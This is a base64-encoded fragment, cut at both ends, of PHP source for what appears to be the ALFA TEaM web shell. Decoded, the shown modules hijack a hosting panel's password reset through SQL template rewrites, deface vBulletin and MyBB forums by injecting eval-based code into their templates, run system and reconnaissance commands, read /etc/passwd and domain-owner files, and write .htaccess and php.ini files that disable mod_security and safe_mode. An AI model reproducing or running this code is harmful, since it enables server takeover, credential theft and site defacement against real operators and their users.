3VsdDIgPUBteXNxbGlfcXVlcnkoJGNvbm4sJGNyZWF0ZSkgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsKaWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSl7CiRBbGZhU29sZSA9IG5ldyBBbGZhQ1VSTCh0cnVlKTsKJHNhdmV1cmwgPSAkQWxmYVNvbGUtPlNlbmQoJHBhdGguIi9wd3Jlc2V0LnBocCIpOwokZ2V0VG9rZW4gPSBwcmVnX21hdGNoKCIvbmFtZT1cInRva2VuXCIgdmFsdWU9XCIoLio/KVwiL2kiLCRzYXZldXJsLCR0b2tlbik7CiRBbGZhU29sZS0+U2VuZCgkcGF0aC4iL3B3cmVzZXQucGhwIiwicG9zdCIsInRva2VuPXskdG9rZW5bMV19JmFjdGlvbj1yZXNldCZlbWFpbD1zb2xldmlzaWJsZUBmYmkuZ292Iik7CiRiYWNrZGF0YSA9ICJVUERBVEUgdGJsZW1haWx0ZW1wbGF0ZXMgU0VUIG1lc3NhZ2U9J3skdGVtcFNhdmV9JyBXSEVSRSBuYW1lPSdQYXNzd29yZCBSZXNldCBWYWxpZGF0aW9uJyI7CiRTb2xldmlzaWJsZSA9IG15c3FsaV9xdWVyeSgkY29ubiwkYmFja2RhdGEpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7Cl9fYWxlcnQoJ0ZpbGUgQ3JlYXRlZC4uLicpOwplY2hvICI8YnI+PHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj48Y2VudGVyPjxmb250IGNvbG9yPXJlZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nIi4kcGF0aC4iLyIuJGZuYW1lLiInPkNsaWNrIEhlcmUgITwvYT48L2ZvbnQ+PC9iPjwvY2VudGVyPjxicj48YnI+IjsKfWVsc2V7CmVjaG8gIjxicj48cHJlIGlkPVwic3RyT3V0cHV0XCIgc3R5bGU9XCJtYXJnaW4tdG9wOjVweFwiIGNsYXNzPVwibWwxXCI+PGJyPjxjZW50ZXI+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+UGxlYXNlIGdvIHRvIFRhcmdldCA8L2ZvbnQ+PGZvbnQgY29sb3I9cmVkPlwiICIuJHBhdGguIi9wd3Jlc2V0LnBocCBcIjwvZm9udD48YnIvPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPiBhbmQgcmVzZXQgcGFzc3dvcmQgd2l0aCBlbWFpbDwvZm9udD4gPT4gPGZvbnQgY29sb3I9cmVkPnNvbGV2aXNpYmxlQGZiaS5nb3Y8L2ZvbnQ+PGJyLz48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5hbmQgZ28gdG88L2ZvbnQ+IDxmb250IGNvbG9yPXJlZD5cIiAiLiRwYXRoLiIvIi4kZm5hbWUuIiBcIjwvZm9udD48L2I+PC9jZW50ZXI+PGJyPjxicj4iOwp9fX19CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTEnXSkgJiYgKCRfUE9TVFsnYWxmYTEnXSA9PSAndmInKSl7CmVjaG8gX19wcmUoKTsKCmVjaG8gIjxjZW50ZXI+PGNlbnRlcj48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCB2QnVsbGV0aW4gfDwvZGl2Pgo8cD48Y2VudGVyPiIuZ2V0Q29uZmlnSHRtbCgndmInKS4iPGZvcm0gb25TdWJtaXQ9XCJnKCdJbmRleENoYW5nZXInLG51bGwsJ3ZiJyx0aGlzLmRidS52YWx1ZSx0aGlzLmRibi52YWx1ZSx0aGlzLmRicC52YWx1ZSx0aGlzLmRiaC52YWx1ZSx0aGlzLmluZGV4LnZhbHVlLHRoaXMucHJlZml4LnZhbHVlLCc+PicpOyByZXR1cm4gZmFsc2U7XCI+CiI7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpbnB1dE5hbWUnID0+ICdkYmgnLCAnaWQnID0+ICdkYl9ob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpbnB1dE5hbWUnID0+ICdkYm4nLCAnaWQnID0+ICdkYl9uYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpbnB1dE5hbWUnID0+ICdkYnUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpbnB1dE5hbWUnID0+ICdkYnAnLCAnaWQnID0+ICdkYl9wdycsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1ByZWZpeCcsICdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaWQnID0+ICdkYl9wcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICI8YnI+PGRpdiBjbGFzcz0ndHh0Zm9udCc+fCBZb3VyIEluZGV4IHw8L2Rpdj48YnI+Cjx0ZXh0YXJlYSBuYW1lPSdpbmRleCcgcm93cz0nMTknIGNvbHM9JzEwMyc+PHRpdGxlPkhhY2tlZCBCeSBTb2xlIFNhZCAmIEludmlzaWJsZTwvdGl0bGU+PGI+SGFja2VkIEJ5IFNvbGUgU2FkICYgSW52aXNpYmxlPC9iPjwvdGV4dGFyZWE+PGJyPgo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPjwvY2VudGVyPjwvY2VudGVyPiI7CmlmKCRfUE9TVFsnYWxmYTgnXT09Jz4+Jyl7CiRzMGxldmlzaWJsZT0iUG93ZXJlZCBCeSBTb2xldmlzaWJsZSI7CiRkYnUgPSAkX1BPU1RbJ2FsZmEyJ107CiRkYm4gPSAkX1BPU1RbJ2FsZmEzJ107CiRkYnAgPSAkX1BPU1RbJ2FsZmE0J107CiRkYmggPSAkX1BPU1RbJ2FsZmE1J107CiRpbmRleCA9ICRfUE9TVFsnYWxmYTYnXTsKJHByZWZpeCA9ICRfUE9TVFsnYWxmYTcnXTsKJGluZGV4PXN0cl9yZXBsYWNlKCJcJyIsIiciLCRpbmRleCk7CiRzZXRfaW5kZXggPSAie1wke2V2YWwoYmFzZTY0X2RlY29kZShcJyI7CiRzZXRfaW5kZXggLj0gX19aVzVqYjJSbGNnKCJlY2hvIFwiJGluZGV4XCI7Iik7CiRzZXRfaW5kZXggLj0gIlwnKSl9fXtcJHtleGl0KCl9fSI7CmlmKCFlbXB0eSgkZGJoKSYmIWVtcHR5KCRkYnUpJiYhZW1wdHkoJGRibikmJiFlbXB0eSgkaW5kZXgpKXsKJGNvbm49QG15c3FsaV9jb25uZWN0KCRkYmgsJGRidSwkZGJwLCRkYm4pIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJGxvbGkxID0gIlVQREFURSAiLiRwcmVmaXguInRlbXBsYXRlIFNFVCB0ZW1wbGF0ZT0nIi4kc2V0X2luZGV4LiIiLiRzMGxldmlzaWJsZS4iJyBXSEVSRSB0aXRsZT0nc3BhY2VyX29wZW4nIjsKJGxvbGkyID0gIlVQREFURSAiLiRwcmVmaXguInRlbXBsYXRlIFNFVCB0ZW1wbGF0ZT0nIi4kc2V0X2luZGV4LiIiLiRzMGxldmlzaWJsZS4iJyBXSEVSRSB0aXRsZT0nRk9SVU1IT01FJyI7CiRsb2xpMyA9ICJVUERBVEUgIi4kcHJlZml4LiJzdHlsZSBTRVQgY3NzPSciLiRzZXRfaW5kZXguIiIuJHMwbGV2aXNpYmxlLiInLCBzdHlsZXZhcnM9JycsIGNzc2NvbG9ycz0nJywgZWRpdG9yc3R5bGVzPScnIjsKQG15c3FsaV9xdWVyeSgkY29ubiwkbG9saTEpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CkBteXNxbGlfcXVlcnkoJGNvbm4sJGxvbGkyKSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOwpAbXlzcWxpX3F1ZXJ5KCRjb25uLCRsb2xpMykgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsKX19hbGVydCgnVkIgaW5kZXggY2hhbmdlZC4uLiEnKTsKfQp9Cn0KaWYoaXNzZXQoJF9QT1NUWydhbGZhMiddKSAmJiAoJF9QT1NUWydhbGZhMiddID09ICdteWJiJykpIHsKZWNobyBfX3ByZSgpOwoKZWNobyAiPGNlbnRlcj48Y2VudGVyPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IE15YmIgfDwvZGl2Pgo8cD48Y2VudGVyPiIuZ2V0Q29uZmlnSHRtbCgnbXliYicpLiI8Zm9ybSBvblN1Ym1pdD1cImcoJ0luZGV4Q2hhbmdlcicsbnVsbCwnbnVsbCcsJ215YmInLG51bGwsbnVsbCxudWxsLHRoaXMubXliYmRiaC52YWx1ZSx0aGlzLm15YmJkYnUudmFsdWUsdGhpcy5teWJiZGJuLnZhbHVlLHRoaXMubXliYmRicC52YWx1ZSx0aGlzLm15YmJpbmRleC52YWx1ZSk7IHJldHVybiBmYWxzZTtcIiBtZXRob2Q9UE9TVCBhY3Rpb249Jyc+CiI7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpbnB1dE5hbWUnID0+ICdteWJiZGJoJywgJ2lkJyA9PiAnZGJfaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaW5wdXROYW1lJyA9PiAnbXliYmRibicsICdpZCcgPT4gJ2RiX25hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ215YmJkYnUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpbnB1dE5hbWUnID0+ICdteWJiZGJwJywgJ2lkJyA9PiAnZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICI8YnI+PGRpdiBjbGFzcz0ndHh0Zm9udCc+fCBZb3VyIEluZGV4IHw8L2Rpdj48YnI+Cjx0ZXh0YXJlYSBuYW1lPW15YmJpbmRleCByb3dzPScxOScgY29scz0nMTAzJz4KPHRpdGxlPkhhY2tlZCBCeSBTb2xlIFNhZCAmIEludmlzaWJsZTwvdGl0bGU+PGI+SGFja2VkIEJ5IFNvbGUgU2FkICYgSW52aXNpYmxlPC9iPjwvdGV4dGFyZWE+PHA+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JycgPjwvcD48L2Zvcm0+PC9jZW50ZXI+PC9jZW50ZXI+IjsKaWYoaXNzZXQoJF9QT1NUWydhbGZhNiddKSl7CiRteWJiX2RiaCA9ICRfUE9TVFsnYWxmYTYnXTsKJG15YmJfZGJ1ID0gJF9QT1NUWydhbGZhNyddOwokbXliYl9kYm4gPSAkX1BPU1RbJ2FsZmE4J107CiRteWJiX2RicCA9ICRfUE9TVFsnYWxmYTknXTsKJG15YmJfaW5kZXggPSAkX1BPU1RbJ2FsZmExMCddOwppZighZW1wdHkoJG15YmJfZGJoKSYmIWVtcHR5KCRteWJiX2RidSkmJiFlbXB0eSgkbXliYl9kYm4pJiYhZW1wdHkoJG15YmJfaW5kZXgpKXsKJGNvbm49QG15c3FsaV9jb25uZWN0KCRteWJiX2RiaCwkbXliYl9kYnUsJG15YmJfZGJwLCRteWJiX2Ribikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokcHJlZml4PSJteWJiXyI7CiRsb2xpNyA9ICJVUERBVEUgIi4kcHJlZml4LiJ0ZW1wbGF0ZXMgU0VUIHRlbXBsYXRlPSciLiRteWJiX2luZGV4LiInIFdIRVJFIHRpdGxlPSdpbmRleCciOwokcmVzdWx0ID1AbXlzcWxpX3F1ZXJ5KCRjb25uLCRsb2xpNykgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsKX19hbGVydCgnTXlCQiBpbmRleCBjaGFuZ2VkLi4uIScpOwp9Cn0KfQplY2hvICI8L2Rpdj4iOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYXByb2MoKQp7CmFsZmFoZWFkKCk7CmVjaG8gIjxEaXYgY2xhc3M9aGVhZGVyPjxicj48Y2VudGVyPiI7CmlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpCiRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsKaWYoJEdMT0JBTFNbJ3N5cyddPT0id2luIil7CiRwcm9jZXNzPWFycmF5KAoiVGFzayBMaXN0IiA9PiJ0YXNrbGlzdCAvViIsCiJTeXN0ZW0gSW5mbyIgPT4ic3lzdGVtaW5mbyIsCiJBY3RpdmUgQ29ubmVjdGlvbnMiID0+ICJuZXRzdGF0IC1hbiIsCiJSdW5uaW5nIFNlcnZpY2VzIiA9PiAibmV0IHN0YXJ0IiwKIlVzZXIgQWNjb3VudHMiID0+ICJuZXQgdXNlciIsCiJTaG93IENvbXB1dGVycyIgPT4gIm5ldCB2aWV3IiwKIkFSUCBUYWJsZSIgPT4gImFycCAtYSIsCiJJUCBDb25maWd1cmF0aW9uIiA9PiAiaXBjb25maWcgL2FsbCIKKTt9ZWxzZXsKJHByb2Nlc3M9YXJyYXkoCiJQcm9jZXNzIHN0YXR1cyIgPT4gInBzIGF1eCIsCiJTeXNsb2ciID0+ImNhdCAvZXRjL3N5c2xvZy5jb25mIiwKIlJlc29sdiIgPT4gImNhdCAvZXRjL3Jlc29sdi5jb25mIiwKIkhvc3RzIiA9PiJjYXQgL2V0Yy9ob3N0cyIsCiJDcHVpbmZvIj0+ImNhdCAvcHJvYy9jcHVpbmZvIiwKIlZlcnNpb24iPT4iY2F0IC9wcm9jL3ZlcnNpb24iLAoiU2JpbiI9PiJscyAtYWwgL3Vzci9zYmluIiwKIkludGVycnVwdHMiPT4iY2F0IC9wcm9jL2ludGVycnVwdHMiLAoibHNhdHRyIj0+ImxzYXR0ciAtdmEiLAoiVXB0aW1lIj0+InVwdGltZSIsCiJGc3RhYiIgPT4iY2F0IC9ldGMvZnN0YWIiCik7fQpmb3JlYWNoKCRwcm9jZXNzIGFzICRuID0+ICRsaW5rKXsKZWNobyAnPGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZyhcJ3Byb2NcJyxudWxsLFwnJy4kbGluay4nXCcpIj4gfCAnLiRuLicgfCA8L2E+JzsKfQplY2hvICI8L2NlbnRlcj48YnI+IjsKaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpewplY2hvICI8cHJlIGNsYXNzPSdtbDEnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCcgPiI7CmlmKCRHTE9CQUxTWyJnbG9iX2NoZGlyX2ZhbHNlIl0mJiFlbXB0eSgkX1BPU1RbImMiXSkpeyRjbWQgPSAiY2QgJyIuYWRkc2xhc2hlcygkX1BPU1RbImMiXSkuIic7Ijt9CmVjaG8gYWxmYUV4KCRjbWQuJF9QT1NUWydhbGZhMSddLCB0cnVlKTsKZWNobyAnPC9wcmU+JzsKfQplY2hvICI8L2Rpdj4iOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYXNhZmUoKXsKYWxmYWhlYWQoKTsKZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48YnI+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgQXV0byBCeVBhc3NlciB8PC9kaXY+IjsKZWNobyAnPGgzPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzYWZlXCcsbnVsbCxcJ3BocC5pbmlcJyxudWxsKSI+fCBQSFAuSU5JIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzYWZlXCcsbnVsbCxudWxsLFwnaW5pXCcpIj58IC5odGFjY2VzcyhhcGFjaGUpIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzYWZlXCcsbnVsbCxudWxsLG51bGwsXCdwbFwnKSI+fCAuaHRhY2Nlc3MoTGl0ZVNwZWVkKSB8PC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzYWZlXCcsbnVsbCxudWxsLG51bGwsbnVsbCxcJ3Bhc3N3ZFwnKSI+fCBSZWFkLVBhc3N3ZCB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2FmZVwnLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxcJ3VzZXJzXCcpIj58IFJlYWQtVXNlcnMgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NhZmVcJyxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxcJ3ZhbGlhc2VzXCcpIj58IEdldC1Vc2VyIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzYWZlXCcsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLFwnZG9tYWluc1wnKSI+fCBHZXQtRG9tYWlucyB8IDwvYT48L2NlbnRlcj48L2gzPic7CmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmE4J10pICYmIGlzc2V0KCRfUE9TVFsnYWxmYTgnXSkgPT0gJ2RvbWFpbnMnKXsKaWYoIV9hbGZhX2ZpbGVfZXhpc3RzKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIikpewplY2hvIF9fcHJlKCk7CiRzb2xldmlzaWJsZTkgPSBfYWxmYV9maWxlKCcvZXRjL25hbWVkLmNvbmYnKTsKaWYoaXNfYXJyYXkoJHNvbGV2aXNpYmxlOSkpewpmb3JlYWNoKCRzb2xldmlzaWJsZTkgYXMgJHNvbGV2aXNpYmxlMTMpewppZihAZXJlZ2koJ3pvbmUnLCRzb2xldmlzaWJsZTEzKSl7CnByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkc29sZXZpc2libGUxMywkc29sZXZpc2libGUxNCk7CmlmKHN0cmxlbih0cmltKCRzb2xldmlzaWJsZTE0WzFdWzBdKSkgPiAyKXsKZWNobyAkc29sZXZpc2libGUxNFsxXVswXS4nPGJyPic7Cn19fQp9Cn1lbHNlewplY2hvIF9fcHJlKCk7CiR1c2VycyA9IF9hbGZhX2ZpbGUoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKTsKaWYoaXNfYXJyYXkoJHVzZXJzKSl7CmZvcmVhY2goJHVzZXJzIGFzICRib3opewokZG9tID0gZXhwbG9kZSgiOiIsJGJveik7CmVjaG8gJGRvbVswXS4iXG4iO319fX0KaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTYnXSkgJiYgaXNzZXQoJF9QT1NUWydhbGZhNiddKSA9PSAndmFsaWFzZXMnKXsKZWNobyAnCjxmb3JtIG9uc3VibWl0PSJnKFwnc2FmZVwnLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLFwndmFsaWFzZXNcJyx0aGlzLnNpdGUudmFsdWUsbnVsbCxcJz4+XCcpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9InBvc3QiIC8+PGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250Ij5Vcmw6IDwvZm9udD48aW5wdXQgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9InNpdGUuY29tIiBuYW1lPSJzaXRlIiAvPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgbmFtZT0iZ28iIC8+PC9mb3JtPjwvY2VudGVyPic7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTknXSkgJiYgJF9QT1NUWydhbGZhOSddID09ICc+PicpewppZighX2FsZmFfZmlsZV9leGlzdHMoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKSl7CiRzaXRlID0gdHJpbSgkX1BPU1RbJ2FsZmE3J10pOwokcmVwID0gc3RyX3JlcGxhY2UoYXJyYXkoImh0dHBzOi8vIiwiaHR0cDovLyIsInd3dy4iKSwiIiwkc2l0ZSk7CiR1c2VyID0gIiI7CmlmKGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSAmJiBmdW5jdGlvbl9leGlzdHMoImZpbGVvd25lciIpKXsKCWlmKCR1c2VyID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMveyRyZXB9IikpKXsKCQkkdXNlciA9ICR1c2VyWyduYW1lJ107Cgl9Cn1lbHNlewoJaWYoX2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKSl7CgkJJHVzZXIgPSBhbGZhRXgoInN0YXQgLWMgJyVVJyAvZXRjL3ZhbGlhc2VzLyIuJHJlcCk7Cgl9Cn0KaWYoIWVtcHR5KCR1c2VyKSYmJHVzZXIhPSdyb290Jyl7CmVjaG8gX19wcmUoKS4iPGNlbnRlcj48dGFibGUgYm9yZGVyPScxJz48dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlVzZXI6IDwvYj48L2ZvbnQ+PC90ZD48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+eyR1c2VyfTwvZm9udD48L2I+PC90ZD48L3RyPjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+c2l0ZTogPC9iPjwvZm9udD48L3RkPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj57JHJlcH08L2ZvbnQ+PC9iPjwvdGQ+PC90cj48L3RhYmxlPjwvY2VudGVyPiI7Cn1lbHNlIHtlY2hvIF9fcHJlKCkuJzxjZW50ZXI+PGI+Tm8gc3VjaCBmaWxlIG9yIGRpcmVjdG9yeSBPciBEaXNhYmxlIEZ1bmN0aW9ucyBpcyBub3QgTk9ORS4uLjwvYj48L2NlbnRlcj4nO30KfWVsc2V7CiRzaXRlID0gdHJpbSgkX1BPU1RbJ2FsZmE3J10pOwokcmVwID0gc3RyX3JlcGxhY2UoYXJyYXkoImh0dHBzOi8vIiwiaHR0cDovLyIsInd3dy4iKSwiIiwkc2l0ZSk7CiR1c2VycyA9IF9hbGZhX2ZpbGUoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKTsKZm9yZWFjaCgkdXNlcnMgYXMgJGJveil7CiRleCA9IGV4cGxvZGUoIjoiLCRib3opOwppZigkZXhbMF0gPT0gJHJlcCl7CmVjaG8gX19wcmUoKS4iPGNlbnRlcj48dGFibGUgYm9yZGVyPScxJz4KPHRyPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5Vc2VyOiA8L2I+PC9mb250PjwvdGQ+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPiIudHJpbSgkZXhbMV0pLiI8L2ZvbnQ+PC9iPjwvdGQ+PC90cj4KPHRyPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5zaXRlOiA8L2I+PC9mb250PjwvdGQ+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPnskcmVwfTwvZm9udD48L2I+PC90ZD48L3RyPjwvdGFibGU+PC9jZW50ZXI+IjticmVhazt9fX19fQppZighZW1wdHkoJF9QT1NUWydhbGZhNSddKSAmJiBpc3NldCgkX1BPU1RbJ2FsZmE1J10pKXsKaWYoIV9hbGZhX2ZpbGVfZXhpc3RzKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIikpewplY2hvIF9fcHJlKCk7CiRpID0gMDsKd2hpbGUgKCRpIDwgNjAwMDApIHsKJGxpbmUgPSBAcG9zaXhfZ2V0cHd1aWQoJGkpOwppZiAoIWVtcHR5KCRsaW5lKSkgewp3aGlsZSAobGlzdCAoJGtleSwgJHZsKSA9IGVhY2goJGxpbmUpKXsKZWNobyAkdmwuIlxuIjsKYnJlYWs7fX0kaSsrO30KfWVsc2V7ZWNobyBfX3ByZSgpOwokdXNlcnMgPSBfYWxmYV9maWxlKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIik7CmZvcmVhY2goJHVzZXJzIGFzICRib3opewokdXNlciA9IGV4cGxvZGUoIjoiLCRib3opOwplY2hvIHRyaW0oJHVzZXJbMV0pLic8YnI+Jzt9fX0KaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTQnXSkgJiYgaXNzZXQoJF9QT1NUWydhbGZhNCddKSl7CmVjaG8gX19wcmUoKTsKaWYoX2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKSl7ZWNobyBfX3JlYWRfZmlsZSgiL2V0Yy9wYXNzd2QiKTt9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSl7CmZvcigkdWlkPTA7JHVpZDw2MDAwMDskdWlkKyspewokYXJhID0gQHBvc2l4X2dldHB3dWlkKCR1aWQpOwppZighZW1wdHkoJGFyYSkpewp3aGlsZShsaXN0ICgka2V5LCAkdmFsKSA9IGVhY2goJGFyYSkpewplY2hvICIkdmFsOiI7Cn1lY2hvICJcbiI7fX0KfWVsc2V7X19hbGVydCgnZmFpbGVkLi4uJyk7fX0KaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTInXSkgJiYgaXNzZXQoJF9QT1NUWydhbGZhMiddKSl7CkBfX3dyaXRlX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddLiIuaHRhY2Nlc3MiLCIjR2VuZXJhdGVkIEJ5IFNvbGUgU2FkIGFuZCBJbnZpc2libGVcbjxJZk1vZHVsZSBtb2Rfc2VjdXJpdHkuYz5cblNlYy0tLS0tLUVuZ2luZSBPZmZcblNlYy0tLS0tLVNjYW5QT1NUIE9mZlxuPC9JZk1vZHVsZT4iKTsKZWNobyAnPGNlbnRlcj48Yj48YmlnPmh0YWNjZXNzIGZvciBBcGFjaGUgY3JlYXRlZC4uLiE8L2NlbnRlcj48L2I+PC9iaWc+JzsKfQppZighZW1wdHkoJF9QT1NUWydhbGZhMSddKSYmIGlzc2V0KCRfUE9TVFsnYWxmYTEnXSkpewpAX193cml0ZV9maWxlKCRHTE9CQUxTWydjd2QnXS4icGhwLmluaSIsInNhZmVfbW9kZT1PRkZcbmRpc2FibGVfZnVuY3Rpb25zPUJ5UGFzc2VkIEJ5IFNvbGUgU2FkICYgSW52aXNpYmxlKEFMRkEgVEVhTSkiKTsKZWNobyAnPGNlbnRlcj48Yj48YmlnPiBwaHAuaW5pIGNyZWF0ZWQuLi4hPC9jZW50ZXI+PC9iPjwvYmlnPic7Cn0KaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTMnXSkgJiYgaXNzZXQoJF9QT1NUWydhbGZhMyddKSl7CkBfX3dyaXRlX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddLiIuaHRhY2Nlc3MiLCIjR2VuZXJhdGVkIEJ5IFNvbGUgU2FkIGFuZCBJbnZpc2libGVcbjxGaWxlcyAqLnBocD5cbkZvcmNlVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLXBocDRcbjwvRmlsZXM+XG48SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+XG5TZWNGaWx0ZXJFbmdpbmUgT2ZmXG5TZWNGaWx0ZXJTY2FuUE9TVCBPZmZcbjwvSWZNb2R1bGU+Iik7CmVjaG8gJzxjZW50ZXI+PGI+PGJpZz5odGFjY2VzcyBmb3IgTGl0ZXNwZWVkIGNyZWF0ZWQuLi4hPC9jZW50ZXI+PC9iPjwvYmlnPic7Cn0KZWNobyAiP